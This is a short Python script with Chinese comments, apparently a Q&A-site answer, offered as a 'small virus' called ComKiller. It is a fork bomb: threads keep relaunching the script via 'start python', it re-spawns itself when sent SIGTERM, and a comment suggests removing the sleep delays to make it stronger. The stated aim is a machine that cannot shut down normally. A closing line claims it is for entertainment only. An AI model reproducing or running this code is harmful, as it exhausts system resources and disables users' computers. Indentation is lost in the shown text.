# 这是一个小病毒,名叫ComKiller(计算机杀手)
# 效果:运行约10秒后无法正常关机
# 注:把那两行 time.sleep(0.1) 去掉效果更好哦:)
import os
import signal
import ctypes
import time
import threading
from pathlib import Path
def help_sos():
cmdr = os.system("start python %s" % FileName)
def Error():
while True:
try:
help_sos()
except BaseException:
help_sos()
time.sleep(0.1)
signal.signal(signal.SIGTERM, help_sos)
FileName = Path(__file__).name
while True:
time.sleep(1)
T = threading.Thread(target = Error, args = ())
T.start()
#仅用于娱乐,干什么非法的事情和我无关!
温馨提示:答案为网友推荐,仅供参考